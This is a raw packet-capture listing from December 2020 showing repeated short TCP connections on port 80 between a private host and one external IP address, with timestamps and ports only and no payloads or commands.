Dec 3, 2020 10:03:47.314562082 CET	49932	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.319622040 CET	49932	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.336255074 CET	80	49932	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:47.336422920 CET	49932	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.353009939 CET	80	49932	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:47.379466057 CET	80	49932	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:47.379646063 CET	49932	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.379678965 CET	49932	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.396342039 CET	80	49932	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:47.859765053 CET	49933	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.876421928 CET	80	49933	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:47.879686117 CET	49933	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.887303114 CET	49933	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.903973103 CET	80	49933	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:47.904119968 CET	49933	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.920607090 CET	80	49933	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:47.950901031 CET	80	49933	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:47.951071024 CET	49933	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.951118946 CET	49933	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.967735052 CET	80	49933	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:48.423508883 CET	49934	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:48.440094948 CET	80	49934	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:48.440243006 CET	49934	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:48.444667101 CET	49934	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:48.461246014 CET	80	49934	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:48.461489916 CET	49934	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:48.477957964 CET	80	49934	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:48.504371881 CET	80	49934	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:48.504525900 CET	49934	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:48.504745960 CET	49934	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:48.521120071 CET	80	49934	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:48.975821972 CET	49935	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:48.992378950 CET	80	49935	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:48.992574930 CET	49935	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:48.999385118 CET	49935	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.016041040 CET	80	49935	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.016280890 CET	49935	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.032902002 CET	80	49935	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.146349907 CET	80	49935	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.146480083 CET	49935	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.146557093 CET	49935	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.162921906 CET	80	49935	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.370217085 CET	49936	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.386748075 CET	80	49936	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.386826992 CET	49936	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.389664888 CET	49936	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.406297922 CET	80	49936	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.406409979 CET	49936	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.422918081 CET	80	49936	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.483880043 CET	80	49936	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.483963013 CET	49936	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.483994007 CET	49936	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.500507116 CET	80	49936	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.686940908 CET	49937	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.703433037 CET	80	49937	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.703577995 CET	49937	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.706676960 CET	49937	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.723197937 CET	80	49937	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.723261118 CET	49937	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.739713907 CET	80	49937	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.772139072 CET	80	49937	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:49.772232056 CET	49937	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.772269964 CET	49937	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:49.788798094 CET	80	49937	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:50.321067095 CET	49938	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.337776899 CET	80	49938	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:50.337924004 CET	49938	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.340955019 CET	49938	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.357491016 CET	80	49938	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:50.357599974 CET	49938	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.374111891 CET	80	49938	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:50.486013889 CET	80	49938	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:50.486169100 CET	49938	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.486195087 CET	49938	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.502693892 CET	80	49938	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:50.681174994 CET	49939	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.697879076 CET	80	49939	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:50.698012114 CET	49939	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.701366901 CET	49939	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.718024969 CET	80	49939	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:50.718123913 CET	49939	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.734693050 CET	80	49939	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:50.762480021 CET	80	49939	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:50.763031960 CET	49939	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.763077974 CET	49939	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:50.779700994 CET	80	49939	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.213511944 CET	49941	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.230046988 CET	80	49941	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.230144024 CET	49941	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.232876062 CET	49941	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.249430895 CET	80	49941	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.249530077 CET	49941	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.266030073 CET	80	49941	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.295295000 CET	80	49941	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.295440912 CET	49941	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.297743082 CET	49941	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.314378023 CET	80	49941	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.726125002 CET	49942	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.742619991 CET	80	49942	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.742757082 CET	49942	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.745747089 CET	49942	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.762496948 CET	80	49942	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.762674093 CET	49942	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.779164076 CET	80	49942	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.805429935 CET	80	49942	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.805613995 CET	49942	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.805690050 CET	49942	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:51.822074890 CET	80	49942	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:51.991097927 CET	49944	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.007761002 CET	80	49944	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:52.007925987 CET	49944	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.011532068 CET	49944	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.028160095 CET	80	49944	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:52.028239965 CET	49944	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.044749975 CET	80	49944	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:52.069458008 CET	80	49944	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:52.069617987 CET	49944	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.069665909 CET	49944	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.086070061 CET	80	49944	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:52.520464897 CET	49945	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.537075043 CET	80	49945	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:52.537303925 CET	49945	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.540725946 CET	49945	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.557357073 CET	80	49945	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:52.557657003 CET	49945	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.574111938 CET	80	49945	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:52.673836946 CET	80	49945	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:52.673985958 CET	49945	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.674006939 CET	49945	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:52.690522909 CET	80	49945	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.111897945 CET	49946	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.128487110 CET	80	49946	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.128868103 CET	49946	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.132189989 CET	49946	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.148741007 CET	80	49946	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.149421930 CET	49946	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.165906906 CET	80	49946	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.203316927 CET	80	49946	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.203488111 CET	49946	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.203519106 CET	49946	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.220304012 CET	80	49946	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.721308947 CET	49948	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.737994909 CET	80	49948	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.738178015 CET	49948	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.741499901 CET	49948	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.758074999 CET	80	49948	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.758150101 CET	49948	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.774662018 CET	80	49948	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.800649881 CET	80	49948	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.800916910 CET	49948	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.801008940 CET	49948	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:53.817473888 CET	80	49948	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:53.992640972 CET	49949	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.009260893 CET	80	49949	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:54.010199070 CET	49949	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.013312101 CET	49949	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.029901028 CET	80	49949	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:54.030227900 CET	49949	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.046746969 CET	80	49949	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:54.074157953 CET	80	49949	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:54.074301004 CET	49949	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.074346066 CET	49949	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.090841055 CET	80	49949	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:54.550339937 CET	49950	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.566890955 CET	80	49950	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:54.570141077 CET	49950	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.573091984 CET	49950	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.589555979 CET	80	49950	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:54.590130091 CET	49950	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.606615067 CET	80	49950	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:54.632227898 CET	80	49950	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:54.635296106 CET	49950	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.635344028 CET	49950	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:54.651968956 CET	80	49950	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:55.135754108 CET	49951	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.152493000 CET	80	49951	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:55.152580976 CET	49951	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.156588078 CET	49951	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.173091888 CET	80	49951	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:55.173185110 CET	49951	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.189723015 CET	80	49951	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:55.378946066 CET	80	49951	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:55.379159927 CET	49951	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.379360914 CET	49951	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.395768881 CET	80	49951	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:55.830847025 CET	49953	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.847441912 CET	80	49953	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:55.847573042 CET	49953	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.853547096 CET	49953	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.870038033 CET	80	49953	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:55.870115995 CET	49953	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.886662006 CET	80	49953	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:55.913942099 CET	80	49953	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:55.914032936 CET	49953	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.914067984 CET	49953	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:55.930563927 CET	80	49953	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:56.094397068 CET	49954	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.111139059 CET	80	49954	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:56.111272097 CET	49954	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.114180088 CET	49954	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.130954027 CET	80	49954	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:56.131055117 CET	49954	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.147747040 CET	80	49954	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:56.172661066 CET	80	49954	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:56.172755003 CET	49954	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.172815084 CET	49954	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.189399958 CET	80	49954	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:56.613373041 CET	49955	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.630074978 CET	80	49955	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:56.630167961 CET	49955	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.633629084 CET	49955	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.650232077 CET	80	49955	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:56.650320053 CET	49955	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.666866064 CET	80	49955	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:56.693408966 CET	80	49955	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:56.693507910 CET	49955	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.693557978 CET	49955	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:56.711678982 CET	80	49955	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:57.129410028 CET	49956	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.146101952 CET	80	49956	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:57.146279097 CET	49956	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.149827003 CET	49956	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.166433096 CET	80	49956	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:57.166579962 CET	49956	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.183130980 CET	80	49956	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:57.219338894 CET	80	49956	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:57.219527006 CET	49956	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.219650030 CET	49956	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.236104012 CET	80	49956	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:57.667649984 CET	49957	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.684216976 CET	80	49957	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:57.684330940 CET	49957	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.692003012 CET	49957	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.708735943 CET	80	49957	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:57.708869934 CET	49957	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.725378036 CET	80	49957	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:57.753940105 CET	80	49957	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:57.754085064 CET	49957	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.754168034 CET	49957	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:57.770615101 CET	80	49957	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.261950970 CET	49958	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.278537035 CET	80	49958	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.278654099 CET	49958	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.283328056 CET	49958	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.300075054 CET	80	49958	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.300215960 CET	49958	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.316709042 CET	80	49958	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.343101978 CET	80	49958	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.343250990 CET	49958	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.343416929 CET	49958	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.359910011 CET	80	49958	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.528562069 CET	49959	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.545061111 CET	80	49959	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.545171976 CET	49959	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.547962904 CET	49959	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.564430952 CET	80	49959	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.564587116 CET	49959	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.580955982 CET	80	49959	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.604918957 CET	80	49959	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.605074883 CET	49959	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.605142117 CET	49959	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.621527910 CET	80	49959	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.797276020 CET	49960	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.814898014 CET	80	49960	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.815073967 CET	49960	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.821964979 CET	49960	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.838479996 CET	80	49960	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.838589907 CET	49960	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.855214119 CET	80	49960	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.886666059 CET	80	49960	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:58.886872053 CET	49960	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.886924982 CET	49960	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:58.904994965 CET	80	49960	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.077979088 CET	49961	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.094481945 CET	80	49961	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.094568968 CET	49961	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.097645998 CET	49961	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.114094973 CET	80	49961	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.114182949 CET	49961	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.130697012 CET	80	49961	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.154859066 CET	80	49961	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.154963970 CET	49961	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.155005932 CET	49961	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.172489882 CET	80	49961	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.354834080 CET	49962	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.371468067 CET	80	49962	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.371733904 CET	49962	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.376610041 CET	49962	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.393172979 CET	80	49962	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.393301010 CET	49962	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.409849882 CET	80	49962	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.446842909 CET	80	49962	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.446954966 CET	49962	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.447029114 CET	49962	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.463623047 CET	80	49962	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.637569904 CET	49963	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.654194117 CET	80	49963	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.654318094 CET	49963	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.658098936 CET	49963	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.674735069 CET	80	49963	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.674897909 CET	49963	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.691452980 CET	80	49963	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.717549086 CET	80	49963	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.717643976 CET	49963	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.717894077 CET	49963	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.734380007 CET	80	49963	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.917570114 CET	49964	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.934082985 CET	80	49964	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.934166908 CET	49964	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.937166929 CET	49964	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.953639984 CET	80	49964	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.953744888 CET	49964	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.970134020 CET	80	49964	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.996310949 CET	80	49964	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:59.996500015 CET	49964	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:59.996524096 CET	49964	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.016834021 CET	80	49964	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.193739891 CET	49965	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.210196972 CET	80	49965	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.210311890 CET	49965	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.213593960 CET	49965	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.229998112 CET	80	49965	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.230097055 CET	49965	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.246563911 CET	80	49965	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.271773100 CET	80	49965	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.271874905 CET	49965	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.271913052 CET	49965	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.288340092 CET	80	49965	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.486182928 CET	49966	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.502691031 CET	80	49966	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.502779961 CET	49966	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.506449938 CET	49966	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.522922039 CET	80	49966	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.523019075 CET	49966	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.539506912 CET	80	49966	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.568294048 CET	80	49966	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.568418980 CET	49966	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.568460941 CET	49966	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.584884882 CET	80	49966	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.767812967 CET	49967	80	192.168.2.3	47.91.79.163
